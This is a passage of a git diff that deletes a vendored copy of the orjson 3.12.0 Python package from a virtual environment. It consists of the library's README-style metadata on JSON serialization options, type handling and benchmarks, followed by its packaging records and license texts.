script. - -The sorting is not collation/locale-aware: - -```python ->>> import orjson ->>> orjson.dumps({"a": 1, "ä": 2, "A": 3}, option=orjson.OPT_SORT_KEYS) -b'{"A":3,"a":1,"\xc3\xa4":2}' -``` - -This is the same sorting behavior as the standard library. - -`dataclass` also serialize as maps but this has no effect on them. - -##### OPT_STRICT_INTEGER - -Enforce 53-bit limit on integers. The limit is otherwise 64 bits, the same as -the Python standard library. For more, see [int](https://github.com/ijl/orjson?tab=readme-ov-file#int). - -##### OPT_UTC_Z - -Serialize a UTC timezone on `datetime.datetime` instances as `Z` instead -of `+00:00`. - -```python ->>> import orjson, datetime, zoneinfo ->>> orjson.dumps( - datetime.datetime(1970, 1, 1, 0, 0, 0, tzinfo=zoneinfo.ZoneInfo("UTC")), - ) -b'"1970-01-01T00:00:00+00:00"' ->>> orjson.dumps( - datetime.datetime(1970, 1, 1, 0, 0, 0, tzinfo=zoneinfo.ZoneInfo("UTC")), - option=orjson.OPT_UTC_Z - ) -b'"1970-01-01T00:00:00Z"' -``` - -#### Fragment - -`orjson.Fragment` includes already-serialized JSON in a document. This is an -efficient way to include JSON blobs from a cache, JSONB field, or separately -serialized object without first deserializing to Python objects via `loads()`. - -```python ->>> import orjson ->>> orjson.dumps({"key": "zxc", "data": orjson.Fragment(b'{"a": "b", "c": 1}')}) -b'{"key":"zxc","data":{"a": "b", "c": 1}}' -``` - -It does no reformatting: `orjson.OPT_INDENT_2` will not affect a -compact blob nor will a pretty-printed JSON blob be rewritten as compact. - -The input must be `bytes` or `str` and given as a positional argument. - -This raises `orjson.JSONEncodeError` if a `str` is given and the input is -not valid UTF-8. It otherwise does no validation and it is possible to -write invalid JSON. This does not escape characters. The implementation is -tested to not crash if given invalid strings or invalid JSON. - -### Deserialize - -```python -def loads(__obj: Union[bytes, bytearray, memoryview, str]) -> Any: ... -``` - -`loads()` deserializes JSON to Python objects. It deserializes to `dict`, -`list`, `int`, `float`, `str`, `bool`, and `None` objects. - -`bytes`, `bytearray`, `memoryview`, and `str` input are accepted. If the input -exists as a `memoryview`, `bytearray`, or `bytes` object, it is recommended to -pass these directly rather than creating an unnecessary `str` object. That is, -`orjson.loads(b"{}")` instead of `orjson.loads(b"{}".decode("utf-8"))`. This -has lower memory usage and lower latency. - -The input must be valid UTF-8. - -orjson maintains a cache of map keys for the duration of the process. This -causes a net reduction in memory usage by avoiding duplicate strings. The -keys must be at most 64 bytes to be cached and 2048 entries are stored. - -The global interpreter lock (GIL) is held for the duration of the call. - -It raises `JSONDecodeError` if given an invalid type or invalid -JSON. This includes if the input contains `NaN`, `Infinity`, or `-Infinity`, -which the standard library allows, but is not valid JSON. - -It raises `JSONDecodeError` if a combination of array or object recurses -1024 levels deep. - -It raises `JSONDecodeError` if unable to allocate a buffer large enough -to parse the document. - -`JSONDecodeError` is a subclass of `json.JSONDecodeError` and `ValueError`. -This is for compatibility with the standard library. - -## Types - -### dataclass - -orjson serializes instances of `dataclasses.dataclass` natively. It serializes -instances 40-50x as fast as other libraries and avoids a severe slowdown seen -in other libraries compared to serializing `dict`. - -It is supported to pass all variants of dataclasses, including dataclasses -using `__slots__`, frozen dataclasses, those with optional or default -attributes, and subclasses. There is a performance benefit to not -using `__slots__`. - -| Library | dict (ms) | dataclass (ms) | vs. orjson | -|-----------|-------------|------------------|--------------| -| orjson | 0.43 | 0.95 | 1 | -| json | 5.81 | 38.32 | 40 | - -This measures serializing 555KiB of JSON, orjson natively and other libraries -using `default` to serialize the output of `dataclasses.asdict()`. This can be -reproduced using the `pydataclass` script. - -Dataclasses are serialized as maps, with every attribute serialized and in -the order given on class definition: - -```python ->>> import dataclasses, orjson, typing - -@dataclasses.dataclass -class Member: - id: int - active: bool = dataclasses.field(default=False) - -@dataclasses.dataclass -class Object: - id: int - name: str - members: typing.List[Member] - ->>> orjson.dumps(Object(1, "a", [Member(1, True), Member(2)])) -b'{"id":1,"name":"a","members":[{"id":1,"active":true},{"id":2,"active":false}]}' -``` - -### datetime - -orjson serializes `datetime.datetime` objects to -[RFC 3339](https://tools.ietf.org/html/rfc3339) format, -e.g., "1970-01-01T00:00:00+00:00". This is a subset of ISO 8601 and is -compatible with `isoformat()` in the standard library. - -```python ->>> import orjson, datetime, zoneinfo ->>> orjson.dumps( - datetime.datetime(2018, 12, 1, 2, 3, 4, 9, tzinfo=zoneinfo.ZoneInfo("Australia/Adelaide")) -) -b'"2018-12-01T02:03:04.000009+10:30"' ->>> orjson.dumps( - datetime.datetime(2100, 9, 1, 21, 55, 2).replace(tzinfo=zoneinfo.ZoneInfo("UTC")) -) -b'"2100-09-01T21:55:02+00:00"' ->>> orjson.dumps( - datetime.datetime(2100, 9, 1, 21, 55, 2) -) -b'"2100-09-01T21:55:02"' -``` - -`datetime.datetime` supports instances with a `tzinfo` that is `None`, -`datetime.timezone.utc`, a timezone instance from the standard library `zoneinfo` -module, or a timezone instance from the third-party `pendulum`, `pytz`, or -`dateutil`/`arrow` libraries. - -It is fastest to use the standard library's `zoneinfo.ZoneInfo` for timezones. - -`datetime.time` objects must not have a `tzinfo`. - -```python ->>> import orjson, datetime ->>> orjson.dumps(datetime.time(12, 0, 15, 290)) -b'"12:00:15.000290"' -``` - -`datetime.date` objects will always serialize. - -```python ->>> import orjson, datetime ->>> orjson.dumps(datetime.date(1900, 1, 2)) -b'"1900-01-02"' -``` - -Errors with `tzinfo` result in `JSONEncodeError` being raised. - -To disable serialization of `datetime` objects specify the option -`orjson.OPT_PASSTHROUGH_DATETIME`. - -To use "Z" suffix instead of "+00:00" to indicate UTC ("Zulu") time, use the option -`orjson.OPT_UTC_Z`. - -To assume datetimes without timezone are UTC, use the option `orjson.OPT_NAIVE_UTC`. - -### enum - -orjson serializes enums natively. Options apply to their values. - -```python ->>> import enum, datetime, orjson ->>> -class DatetimeEnum(enum.Enum): - EPOCH = datetime.datetime(1970, 1, 1, 0, 0, 0) ->>> orjson.dumps(DatetimeEnum.EPOCH) -b'"1970-01-01T00:00:00"' ->>> orjson.dumps(DatetimeEnum.EPOCH, option=orjson.OPT_NAIVE_UTC) -b'"1970-01-01T00:00:00+00:00"' -``` - -Enums with members that are not supported types can be serialized using -`default`: - -```python ->>> import enum, orjson ->>> -class Custom: - def __init__(self, val): - self.val = val - -def default(obj): - if isinstance(obj, Custom): - return obj.val - raise TypeError - -class CustomEnum(enum.Enum): - ONE = Custom(1) - ->>> orjson.dumps(CustomEnum.ONE, default=default) -b'1' -``` - -### float - -orjson serializes and deserializes double precision floats with no loss of -precision and consistent rounding. - -`orjson.dumps()` serializes Nan, Infinity, and -Infinity, which are not -compliant JSON, as `null`: - -```python ->>> import orjson, json ->>> orjson.dumps([float("NaN"), float("Infinity"), float("-Infinity")]) -b'[null,null,null]' ->>> json.dumps([float("NaN"), float("Infinity"), float("-Infinity")]) -'[NaN, Infinity, -Infinity]' -``` - -### int - -orjson serializes and deserializes 64-bit integers by default. The range -supported is a signed 64-bit integer's minimum (-9223372036854775807) to -an unsigned 64-bit integer's maximum (18446744073709551615). This -is widely compatible, but there are implementations -that only support 53-bits for integers, e.g., -web browsers. For those implementations, `dumps()` can be configured to -raise a `JSONEncodeError` on values exceeding the 53-bit range. - -```python ->>> import orjson ->>> orjson.dumps(9007199254740992) -b'9007199254740992' ->>> orjson.dumps(9007199254740992, option=orjson.OPT_STRICT_INTEGER) -JSONEncodeError: Integer exceeds 53-bit range ->>> orjson.dumps(-9007199254740992, option=orjson.OPT_STRICT_INTEGER) -JSONEncodeError: Integer exceeds 53-bit range -``` - -### numpy - -orjson natively serializes `numpy.ndarray` and individual -`numpy.float64`, `numpy.float32`, `numpy.float16` (`numpy.half`), -`numpy.int64`, `numpy.int32`, `numpy.int16`, `numpy.int8`, -`numpy.uint64`, `numpy.uint32`, `numpy.uint16`, `numpy.uint8`, -`numpy.uintp`, `numpy.intp`, `numpy.datetime64`, and `numpy.bool` -instances. - -orjson is compatible with both numpy v1 and v2. - -orjson is faster than all compared libraries at serializing -numpy instances. Serializing numpy data requires specifying -`option=orjson.OPT_SERIALIZE_NUMPY`. - -```python ->>> import orjson, numpy ->>> orjson.dumps( - numpy.array([[1, 2, 3], [4, 5, 6]]), - option=orjson.OPT_SERIALIZE_NUMPY, -) -b'[[1,2,3],[4,5,6]]' -``` - -The array must be a contiguous C array (`C_CONTIGUOUS`) and one of the -supported datatypes. - -Note a difference between serializing `numpy.float32` using `ndarray.tolist()` -or `orjson.dumps(..., option=orjson.OPT_SERIALIZE_NUMPY)`: `tolist()` converts -to a `double` before serializing and orjson's native path does not. This -can result in different rounding. - -`numpy.datetime64` instances are serialized as RFC 3339 strings and -datetime options affect them. - -```python ->>> import orjson, numpy ->>> orjson.dumps( - numpy.datetime64("2021-01-01T00:00:00.172"), - option=orjson.OPT_SERIALIZE_NUMPY, -) -b'"2021-01-01T00:00:00.172000"' ->>> orjson.dumps( - numpy.datetime64("2021-01-01T00:00:00.172"), - option=( - orjson.OPT_SERIALIZE_NUMPY | - orjson.OPT_NAIVE_UTC | - orjson.OPT_OMIT_MICROSECONDS - ), -) -b'"2021-01-01T00:00:00+00:00"' -``` - -If an array is not a contiguous C array, contains an unsupported datatype, -or contains a `numpy.datetime64` using an unsupported representation -(e.g., picoseconds), orjson falls through to `default`. In `default`, -`obj.tolist()` can be specified. - -If an array is not in the native endianness, e.g., an array of big-endian values -on a little-endian system, `orjson.JSONEncodeError` is raised. - -If an array is malformed, `orjson.JSONEncodeError` is raised. - -This measures serializing 92MiB of JSON from an `numpy.ndarray` with -dimensions of `(50000, 100)` and `numpy.float64` values: - -| Library | Latency (ms) | RSS diff (MiB) | vs. orjson | -|-----------|----------------|------------------|--------------| -| orjson | 105 | 105 | 1 | -| json | 1,481 | 295 | 14.2 | - -This measures serializing 100MiB of JSON from an `numpy.ndarray` with -dimensions of `(100000, 100)` and `numpy.int32` values: - -| Library | Latency (ms) | RSS diff (MiB) | vs. orjson | -|-----------|----------------|------------------|--------------| -| orjson | 68 | 119 | 1 | -| json | 684 | 501 | 10.1 | - -This measures serializing 105MiB of JSON from an `numpy.ndarray` with -dimensions of `(100000, 200)` and `numpy.bool` values: - -| Library | Latency (ms) | RSS diff (MiB) | vs. orjson | -|-----------|----------------|------------------|--------------| -| orjson | 50 | 125 | 1 | -| json | 573 | 398 | 11.5 | - -In these benchmarks, orjson serializes natively and `json` serializes -`ndarray.tolist()` via `default`. The RSS column measures peak memory -usage during serialization. This can be reproduced using the `pynumpy` script. - -orjson does not have an installation or compilation dependency on numpy. The -implementation is independent, reading `numpy.ndarray` using -`PyArrayInterface`. - -### str - -orjson is strict about UTF-8 conformance. This is stricter than the standard -library's json module, which will serialize and deserialize UTF-16 surrogates, -e.g., "\ud800", that are invalid UTF-8. - -If `orjson.dumps()` is given a `str` that does not contain valid UTF-8, -`orjson.JSONEncodeError` is raised. If `loads()` receives invalid UTF-8, -`orjson.JSONDecodeError` is raised. - -```python ->>> import orjson, json ->>> orjson.dumps('\ud800') -JSONEncodeError: str is not valid UTF-8: surrogates not allowed ->>> json.dumps('\ud800') -'"\\ud800"' ->>> orjson.loads('"\\ud800"') -JSONDecodeError: unexpected end of hex escape at line 1 column 8: line 1 column 1 (char 0) ->>> json.loads('"\\ud800"') -'\ud800' -``` - -To make a best effort at deserializing bad input, first decode `bytes` using -the `replace` or `lossy` argument for `errors`: - -```python ->>> import orjson ->>> orjson.loads(b'"\xed\xa0\x80"') -JSONDecodeError: str is not valid UTF-8: surrogates not allowed ->>> orjson.loads(b'"\xed\xa0\x80"'.decode("utf-8", "replace")) -'���' -``` - -### uuid - -orjson serializes `uuid.UUID` instances to -[RFC 4122](https://tools.ietf.org/html/rfc4122) format, e.g., -"f81d4fae-7dec-11d0-a765-00a0c91e6bf6". - -``` python ->>> import orjson, uuid ->>> orjson.dumps(uuid.uuid5(uuid.NAMESPACE_DNS, "python.org")) -b'"886313e1-3b8a-5372-9b90-0c9aee199e5d"' -``` - -## Testing - -The library has comprehensive tests. There are tests against fixtures in the -[JSONTestSuite](https://github.com/nst/JSONTestSuite) and -[nativejson-benchmark](https://github.com/miloyip/nativejson-benchmark) -repositories. It is tested to not crash against the -[Big List of Naughty Strings](https://github.com/minimaxir/big-list-of-naughty-strings). -It is tested to not leak memory. It is tested to not crash -against and not accept invalid UTF-8. There are integration tests -exercising the library's use in web servers (gunicorn using multiprocess/forked -workers) and when multithreaded. - -orjson is the most correct of the compared libraries. This graph shows how each -library handles a combined 342 JSON fixtures from the -[JSONTestSuite](https://github.com/nst/JSONTestSuite) and -[nativejson-benchmark](https://github.com/miloyip/nativejson-benchmark) tests: - -| Library | Invalid JSON documents not rejected | Valid JSON documents not deserialized | -|------------|---------------------------------------|-----------------------------------------| -| orjson | 0 | 0 | -| json | 17 | 0 | - -This shows that all libraries deserialize valid JSON but only orjson -correctly rejects the given invalid JSON fixtures. Errors are largely due to -accepting invalid strings and numbers. - -The graph above can be reproduced using the `pycorrectness` script. - -## Performance - -Serialization and deserialization performance of orjson is consistently better -than the standard library's `json`. The graphs below illustrate a few commonly -used documents. - -### Latency - -![Serialization](doc/serialization.png) - -![Deserialization](doc/deserialization.png) - -#### twitter.json serialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 0.1 | 8453 | 1 | -| json | 1.3 | 765 | 11.1 | - -#### twitter.json deserialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 0.5 | 1889 | 1 | -| json | 2.2 | 453 | 4.2 | - -#### github.json serialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 0.01 | 103693 | 1 | -| json | 0.13 | 7648 | 13.6 | - -#### github.json deserialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 0.04 | 23264 | 1 | -| json | 0.1 | 10430 | 2.2 | - -#### citm_catalog.json serialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 0.3 | 3975 | 1 | -| json | 3 | 338 | 11.8 | - -#### citm_catalog.json deserialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 1.3 | 781 | 1 | -| json | 4 | 250 | 3.1 | - -#### canada.json serialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 2.5 | 399 | 1 | -| json | 29.8 | 33 | 11.9 | - -#### canada.json deserialization - -| Library | Median latency (milliseconds) | Operations per second | Relative (latency) | -|-----------|---------------------------------|-------------------------|----------------------| -| orjson | 3 | 333 | 1 | -| json | 18 | 55 | 6 | - -### Reproducing - -The above was measured using Python 3.11.10 in a Fedora 42 container on an -x86-64-v4 machine using the -`orjson-3.10.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl` -artifact on PyPI. The latency results can be reproduced using the `pybench` script. - -## Questions - -### Will it deserialize to dataclasses, UUIDs, decimals, etc or support object_hook? - -No. This requires a schema specifying what types are expected and how to -handle errors etc. This is addressed by data validation libraries a -level above this. - -### Will it serialize to `str`? - -No. `bytes` is the correct type for a serialized blob. - -### Will it support NDJSON or JSONL? - -No. [orjsonl](https://github.com/umarbutler/orjsonl) may be appropriate. - -### Will it support JSON5 or RJSON? - -No, it supports RFC 8259. - -### How do I depend on orjson in a Rust project? - -orjson is only shipped as a Python module. The project should depend on -`orjson` in its own Python requirements and should obtain pointers to -functions and objects using the normal `PyImport_*` APIs. - -## Packaging - -To package orjson requires at least [Rust](https://www.rust-lang.org/) 1.95, -a C compiler, and the [maturin](https://github.com/PyO3/maturin) build tool. -The recommended build command is: - -```sh -maturin build --release --strip -``` - -The project's own CI tests against `nightly-2026-08-01` and stable 1.95. It -is prudent to pin the nightly version because that channel can introduce -breaking changes. There is a significant performance benefit to using -nightly. - -orjson is tested, on Linux, using native hardware for amd64 and aarch64, -aarch64 to run an armv7 container, amd64 to run an i686 container; on macOS, -native hardware for aarch64 and a cross-compilation for amd64; on Windows, -native hardware for amd64 and aarch64, and amd64 for i686. - -The library does not require any other host-level or Python package to be -installed. - -The source distribution on PyPI contains all dependencies' source and can be -built without network access. The file can be downloaded from -`https://files.pythonhosted.org/packages/source/o/orjson/orjson-${version}.tar.gz`. - -orjson's tests are included in the source distribution on PyPI. The tests -require only `pytest`. There are optional packages such as `pytz` and `numpy` -listed in `test/requirements.txt` and used in ~10% of tests. Not having these -dependencies causes the tests needing them to skip. Tests can be run -with `pytest -q test`. - -## License - -orjson was written by ijl <>, copyright 2018 - 2026, with -some source files available under the Mozilla Public License 2.0 and some -available under your choice of the Apache 2 license or MIT license. - diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/RECORD b/venv/Lib/site-packages/orjson-3.12.0.dist-info/RECORD deleted file mode 100644 index 611257540073184fd472fb83d7e7bb819c6a2ed0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/RECORD +++ /dev/null @@ -1,14 +0,0 @@ -orjson-3.12.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -orjson-3.12.0.dist-info/METADATA,sha256=holaFmZGMlK-HKy3u0m83Hz6AfL3ussqKBkmO1AJh-o,43095 -orjson-3.12.0.dist-info/RECORD,, -orjson-3.12.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -orjson-3.12.0.dist-info/WHEEL,sha256=TaIKf5lAAGEk4VpBZdZm7x95yHEoG3pvy-lh-8YcCc8,97 -orjson-3.12.0.dist-info/licenses/LICENSE-APACHE,sha256=fP1zjFPWHHnwfjSPYiv3cHyQhCNwVNN_vgd4inX1iBw,11048 -orjson-3.12.0.dist-info/licenses/LICENSE-MIT,sha256=NlFq79yExdWh50hUJZE6ItvaaesZMMXoTWrklytRlLk,1046 -orjson-3.12.0.dist-info/licenses/LICENSE-MPL-2.0,sha256=kwPqHPvwSZRWUmaAiddT-xp-Hy5SxoBhXD0s6nUVwRg,17100 -orjson-3.12.0.dist-info/sboms/orjson.cyclonedx.json,sha256=XySc80t3CLCFURDB1-w98uu7Uv4HACM69i8HfL2arhA,26169 -orjson/__init__.py,sha256=Z45X7GrgfAwam7kmKuCZzPGa0jrEp2xr1kD5JRBLpcQ,725 -orjson/__init__.pyi,sha256=CM5fFe4XUtbHLx5S9Dai_OHgg19xe0qK4u4981Zxd0g,912 -orjson/__pycache__/__init__.cpython-314.pyc,, -orjson/orjson.cp314-win_amd64.pyd,sha256=imHUb-aCdnZ7LyWSUYOBSoBXJQqzFjfH9MCQ0ky7_KY,224768 -orjson/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/REQUESTED b/venv/Lib/site-packages/orjson-3.12.0.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/WHEEL b/venv/Lib/site-packages/orjson-3.12.0.dist-info/WHEEL deleted file mode 100644 index dc88bfee1f9fb24482015ed9c7b83f31582ba729..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: maturin (1.14.1) -Root-Is-Purelib: false -Tag: cp314-cp314-win_amd64 diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-APACHE b/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-APACHE deleted file mode 100644 index f47c9411414e1b580f0e7f0740366395b6f0cb14..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-APACHE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - -TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - -1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - -2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - -3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - -4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - -5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - -6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - -7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - -8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - -9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - -END OF TERMS AND CONDITIONS - -APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - -Copyright [yyyy] [name of copyright owner] - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-MIT b/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-MIT deleted file mode 100644 index 458723b374585acf3cc2da07ae90af7c3fc8194d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-MIT +++ /dev/null @@ -1,23 +0,0 @@ -Permission is hereby granted, free of charge, to any -person obtaining a copy of this software and associated -documentation files (the "Software"), to deal in the -Software without restriction, including without -limitation the rights to use, copy, modify, merge, -publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software -is furnished to do so, subject to the following -conditions: - -The above copyright notice and this permission notice -shall be included in all copies or substantial portions -of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF -ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED -TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A -PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT -SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR -IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-MPL-2.0 b/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-MPL-2.0 deleted file mode 100644 index 43bbdb70921c6189ab2898505639490469f1373d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/orjson-3.12.0.dist-info/licenses/LICENSE-MPL-2.0 +++ /dev/null @@ -1,373 +0,0 @@ -Mozilla Public License Version 2.0 -================================== - -1. Definitions --------------- - -1.1. "Contributor" - means each individual or legal entity that creates, contributes to - the creation of, or owns Covered Software. - -1.2. "Contributor Version" - means the combination of the Contributions of others (if any) used - by a Contributor and that particular Contributor's Contribution. - -1.3. "Contribution" - means Covered Software of a particular Contributor. - -1.4. "Covered Software" - means Source Code Form to which the initial Contributor has attached - the notice in Exhibit A, the Executable Form of such Source Code - Form, and Modifications of such Source Code Form, in each case - including portions thereof. - -1.5. "Incompatible With Secondary Licenses" - means - - (a) that the initial Contributor has attached the notice described - in Exhibit B to the Covered Software; or - - (b) that the Covered Software was made available under the terms of - version 1.1 or earlier of the License, but not also under the - terms of a Secondary License. - -1.6. "Executable Form" - means any form of the work other than Source Code Form. - -1.7. "Larger Work" - means a work that combines Covered Software with other material, in - a separate file or files, that is not Covered Software. - -1.8. "License" - means this document. - -1.9. "Licensable" - means having the right to grant, to the maximum extent possible, - whether at the time of the initial grant or subsequently, any and - all of the rights conveyed by this License. - 